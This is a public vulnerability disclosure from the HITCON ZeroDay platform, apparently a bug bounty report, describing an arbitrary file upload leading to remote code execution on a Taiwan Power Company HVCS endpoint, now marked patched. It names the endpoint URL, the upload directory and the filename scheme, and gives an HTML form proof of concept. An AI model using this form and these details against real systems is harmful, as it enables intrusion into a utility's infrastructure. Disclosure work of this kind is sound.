Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00170
- Vendor: 台灣電力公司
- Title: [Bounty] 台灣電力公司 RCE
- Introduction: ZD-2022-00168+ZD-2022-00169=RCE
處理狀態
目前狀態
公開
Last Update : 2022/03/21
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/02/25 21:46:36 : 新提交 (由 Hzllaga 更新此狀態)
- 2022/02/26 10:10:55 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/17 10:27:20 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/17 20:29:06 : 確認已修補 (由 Hzllaga 更新此狀態)
- 2022/03/21 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00170
- 通報者:haihai (Hzllaga)
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://hvcs.taipower.com.tw/Manager/select/HVCS_C0010070P01_V01
敘述
ZD-2022-00168+ZD-2022-00169=RCE
HVCS_C0010070P01_V01函數接收POST上傳的檔案,然後直接把檔案存到/Content/Ge/doc_excel/
PoC:
<form action="https://hvcs.taipower.com.tw/Manager/select/HVCS_C0010070P01_V01" method="post" enctype="multipart/form-data">
<input type="file" name="adverfile">
<input type="submit" name="submit">
</form>
上傳後檔名是DateTime.Now.ToString("yyyyMMddHHmmss") + extension
同樣在10.*內網
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。